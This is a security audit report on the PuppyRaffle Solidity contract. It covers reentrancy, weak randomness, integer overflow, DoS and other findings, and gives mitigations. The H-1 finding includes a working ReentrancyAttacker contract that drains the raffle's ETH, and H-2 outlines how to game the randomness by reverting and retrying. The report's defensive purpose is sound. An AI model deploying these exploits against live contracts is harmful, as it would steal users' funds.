# PuppyRaffle Security Audit Report

wildanfh

2026-04-30

# PuppyRaffle Security Audit Report

Prepared by: wildanfh
Lead Auditor: wildanfh

## Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time-boxed security review of the PuppyRaffle smart contract, and does not guarantee the absence of bugs or vulnerabilities. I make no warranties regarding the security of the code and am not liable for any damages related to the use of the code. The findings represent my best efforts during the allotted time.

---

## Risk Classification

| Severity | Impact: High | Impact: Medium | Impact: Low |
|---|---|---|---|
| **Likelihood: High** | High | High/Medium | Medium |
| **Likelihood: Medium** | High/Medium | Medium | Medium/Low |
| **Likelihood: Low** | Medium | Medium/Low | Low |

---

## Protocol Summary

PuppyRaffle is a smart contract raffle protocol where users pay an entrance fee to win a randomly-selected puppy NFT. The protocol supports: - Entering the raffle with one or more addresses - Refunding entrance fees before the raffle ends - Selecting a winner after a configurable duration - Minting a puppy NFT with randomized rarity to the winner - Collecting fees to a designated `feeAddress`

---

## Audit Details

**Commit Hash:** (see repository)

**Scope:**

```
#-- src/
    #-- PuppyRaffle.sol
```

**Compatibilities:** - Solidity: `^0.7.6` - Chain(s): Ethereum

**Roles:** - **Owner:** Deploys the contract. Can change `feeAddress` via `changeFeeAddress`. - **Player:** Can enter the raffle, request a refund, and trigger `selectWinner`.

---

## Executive Summary

The PuppyRaffle audit identified **15 findings** across all severity categories. The most critical issues center on three patterns: a reentrancy vulnerability in `refund` that allows complete fund drainage, use of predictable on-chain randomness that allows winner manipulation, and an integer overflow that permanently locks collected fees. Combined, these issues could allow an attacker to both steal all player funds and guarantee winning the NFT.

The codebase uses Solidity `0.7.6`, which lacks built-in overflow protection - a root cause for multiple findings. Upgrading to `0.8.18` and adopting standard patterns (CEI, pull-over-push, Chainlink VRF) would resolve the majority of critical issues.

---

## Summary of Findings

| ID | Title | Severity |
|---|---|---|
| H-1 | Reentrancy in `refund` allows draining contract balance | High |
| H-2 | Weak randomness in `selectWinner` allows predicting/manipulating winner | High |

| ID | Title | Severity |
|---|---|---|
| H-3 | Integer overflow on `totalFees` permanently locks fees | High |
| M-1 | DoS via O(n^2) duplicate check in `enterRaffle` | Medium |
| M-2 | Smart contract winners without `receive`/`fallback` block `selectWinner` | Medium |
| M-3 | Strict balance equality in `withdrawFees` enables griefing | Medium |
| L-1 | `getActivePlayerIndex` returns 0 for both index-0 player and not-found | Low |
| I-1 | Floating pragma `^0.7.6` | Informational |
| I-2 | Outdated Solidity version `0.7.6` | Informational |
| I-3 | Missing `address(0)` checks on address assignments | Informational |
| I-4 | `selectWinner` does not follow CEI pattern | Informational |
| I-5 | Magic numbers in `selectWinner` | Informational |
| I-6 | Missing events for key state changes; dead code `_isActivePlayer` | Informational |
| G-1 | Unchanged state variables should be `constant`/`immutable` | Gas |

| ID | Title | Severity |
|---|---|---|
| G-2 | `players.length` read repeatedly in loops should be cached | Gas |

| Severity | Count |
|---|---|
| High | 3 |
| Medium | 3 |
| Low | 1 |
| Informational | 6 |
| Gas | 2 |
| **Total** | **15** |

---

## Findings

### [H-1] Reentrancy attack on `PuppyRaffle::refund` allows a participant to drain the raffle balance

**Description:** The `PuppyRaffle::refund` function does not follow the CEI (Checks, Effects, Interactions) pattern. It sends ETH to the caller **before** updating the `players` array, allowing a malicious contract to re-enter the function before its slot is zeroed out.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

    payable(msg.sender).sendValue(entranceFee); // @audit: Interaction before Effect

    players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

**Impact:** All ETH in the contract can be stolen by a malicious participant. Severity: **High**.

**Proof of Concept:**

Proof of Code

```
function test_reentrancyRefund() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
    address attacker = makeAddr("attacker");
    vm.deal(attacker, 1 ether);

    vm.prank(attacker);
    attackerContract.attack{value: entranceFee}();

    assertEq(address(puppyRaffle).balance, 0);
}

contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable { _stealMoney(); }
    receive() external payable { _stealMoney(); }
```

```
}
```

**Recommended Mitigation:** Follow the CEI pattern:

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

---

### [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to predict or manipulate the winner and NFT rarity

**Description:** On-chain values (`msg.sender`, `block.timestamp`, `block.difficulty`) are used as randomness seeds. All of these are public and can be known or influenced before a transaction is included in a block.

```
uint256 winnerIndex =
    uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;

uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
```

**Impact:** A validator or attacker can predict who wins and what NFT rarity is minted. They can deploy a contract that reverts if the outcome isn't favorable, retrying until they win. Severity: **High**.

**Proof of Concept:** 1. Attacker writes a contract that calls `selectWinner`. 2. After the call, it checks if `previousWinner == address(this)`. 3. If not, it reverts. The attacker retries until a favorable block state produces a win.

**Recommended Mitigation:** Use Chainlink VRF v2 for verifiable on-chain randomness.

---

### [H-3] Integer overflow on `PuppyRaffle::totalFees` causes collected fees to be permanently stuck

**Description:** `totalFees` is typed as `uint64` in a Solidity `0.7.6` contract (no automatic overflow protection). The maximum value of `uint64` is ~18.44 ETH. When cumulative fees exceed this, `totalFees` wraps to a small value, and `withdrawFees`'s strict equality check can never pass again.

```
uint64 public totalFees = 0;
// ...
totalFees = totalFees + uint64(fee); // overflow-prone
```

**Impact:** All ETH representing protocol fees is permanently locked. Severity: **High**.

**Proof of Concept:**

Proof of Code

```
function testTotalFeesOverflow() public playersEntered {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();

    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(uint160(i));
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();

    uint256 endingTotalFees = puppyRaffle.totalFees();
    assert(endingTotalFees < startingTotalFees);

    vm.prank(puppyRaffle.feeAddress());
    vm.expectRevert("PuppyRaffle: There are currently players active!")
        ;
    puppyRaffle.withdrawFees();
}
```

**Recommended Mitigation:**

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.8.18;

- uint64 public totalFees = 0;
```

```
+ uint256 public totalFees = 0;

- totalFees = totalFees + uint64(fee);
+ totalFees = totalFees + fee;
```

---

### [M-1] Looping through players array for duplicate checks in `PuppyRaffle::enterRaffle` is a potential DoS attack

**Description:** The duplicate check uses a nested O(n^2) loop. Gas cost grows quadratically with array size, strongly disadvantaging later entrants. An attacker can pre-fill the array to make participation prohibitively expensive.

```
for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate player");
    }
}
```

**Impact:** Gas costs for later entrants grow 3x or more. Attacker can guarantee their win by filling the array. Severity: **Medium**.

**Proof of Concept:**

Proof of Code

```
function testDenialOfService() public {
    vm.txGasPrice(1);
    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(uint160(i));
    }

    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    uint256 gasUsedFirst = (gasStart - gasleft()) * tx.gasprice;
    console.log("Gas cost of the first 100 players: ", gasUsedFirst);

    address[] memory playersTwo = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        playersTwo[i] = address(uint160(i + playersNum));
    }

    uint256 gasStartTwo = gasleft();
```

```
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(playersTwo);
    uint256 gasUsedSecond = (gasStartTwo - gasleft()) * tx.gasprice;
    console.log("Gas cost of the second 100 players: ", gasUsedSecond);

    assert(gasUsedFirst < gasUsedSecond);
}
```

Results: - First 100 players: ~6,252,048 gas - Second 100 players: ~18,068,138 gas (3x higher)

**Recommended Mitigation:** Use a `mapping(address => bool)` for O(1) duplicate detection:

```
+ mapping(address => bool) private s_addressEntered;

  function enterRaffle(address[] memory newPlayers) public payable {
      require(msg.value == entranceFee * newPlayers.length, "...");
      for (uint256 i = 0; i < newPlayers.length; i++) {
+         require(!s_addressEntered[newPlayers[i]], "PuppyRaffle: Duplicate player");
+         s_addressEntered[newPlayers[i]] = true;
          players.push(newPlayers[i]);
      }
-     // remove the O(n^2) nested loop
  }
```

---

### [M-2] Smart contract wallets without `receive/fallback` as winners permanently block `selectWinner`

**Description:** `selectWinner` pushes ETH to the winner via a low-level call. If the winner is a smart contract that rejects ETH, the call reverts, and since `selectWinner` also resets the raffle state, no future raffle can ever begin.

```
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

**Impact:** Protocol can be permanently bricked if a non-payable contract wins. Severity: **Medium**.

**Recommended Mitigation:** Use a pull-over-push pattern:

```
mapping(address => uint256) public winnings;

function claimPrize() external {
    uint256 amount = winnings[msg.sender];
    require(amount > 0, "No winnings to claim");
    winnings[msg.sender] = 0;
```

```
    (bool success,) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
}
```

---

### [M-3] Strict balance equality check in `PuppyRaffle::withdrawFees` enables permanent griefing

**Description:** `withdrawFees` requires `address(this).balance == uint256(totalFees)`. Any ETH sent via `selfdestruct` causes this to permanently fail.

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

**Impact:** 1 wei sent via `selfdestruct` permanently blocks all fee withdrawals. Severity: **Medium**.

**Recommended Mitigation:**

```
  function withdrawFees() external {
-     require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
      uint256 feesToWithdraw = totalFees;
      totalFees = 0;
      (bool success,) = feeAddress.call{value: feesToWithdraw}("");
      require(success, "PuppyRaffle: Failed to withdraw fees");
  }
```

---

### [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for both the player at index 0 and a non-existent player

**Description:** The function returns 0 in both the “not found” case and the “found at index 0” case, contrary to its NatSpec.

**Impact:** Player at index 0 may think they are unregistered and waste gas re-entering. Severity: **Low**.

**Recommended Mitigation:** Revert when not found, or return `type(uint256).max` as a sentinel.

---

#### [I-1] Floating pragma `^0.7.6` allows compilation with unintended Solidity versions

**Recommended Mitigation:** Lock pragma: `pragma solidity 0.7.6;`

---

#### [I-2] Using an outdated Solidity version `0.7.6` is not recommended

**Description:** Version `0.7.6` lacks automatic overflow/underflow protection (added in `0.8.0`) and other safety improvements.

**Recommended Mitigation:** Upgrade to `pragma solidity 0.8.18;`

---

#### [I-3] Missing checks for `address(0)` when assigning values to address state variables

**Locations:** - `constructor` - `feeAddress` - `changeFeeAddress` - `feeAddress` - `selectWinner` - `previousWinner`

**Recommended Mitigation:** Add `require(addr != address(0), "...")` guards.

---

#### [I-4] `PuppyRaffle::selectWinner` does not follow CEI pattern

**Description:** `_safeMint` is called after the external `winner.call`, violating Checks-Effects-Interactions order. No exploit was identified but this is a dangerous pattern to maintain.

**Recommended Mitigation:** Move `_safeMint(winner, tokenId)` before the external call.

---

#### [I-5] Magic numbers used in `PuppyRaffle::selectWinner` reduce readability

**Description:** `80`, `20`, and `100` appear as literal values without explanation.

**Recommended Mitigation:**

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

---

#### [I-6] Missing events for critical state changes; dead code `_isActivePlayer`

**Missing events:** `totalFees` updates and `raffleStartTime` resets in `selectWinner` /`withdrawFees`.

**Dead code:** `_isActivePlayer` is declared but never called - remove it.

---

#### [G-1] Unchanged state variables should be declared `constant` or `immutable`

**Instances:** - `raffleDuration` -> `immutable` - `commonImageUri`, `rareImageUri`, `legendaryImageUri` -> `constant`

**Impact:** Each SLOAD costs ~2100 gas vs ~3 gas for constant/immutable reads.

---

#### [G-2] `players.length` read repeatedly in loops should be cached in a local variable

**Description:** Every iteration of the nested loop in `enterRaffle` reads `players.length` from storage.

**Recommended Mitigation:**

```
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
-     for (uint256 j = i + 1; j < players.length; j++) {
+     for (uint256 j = i + 1; j < playersLength; j++) {
```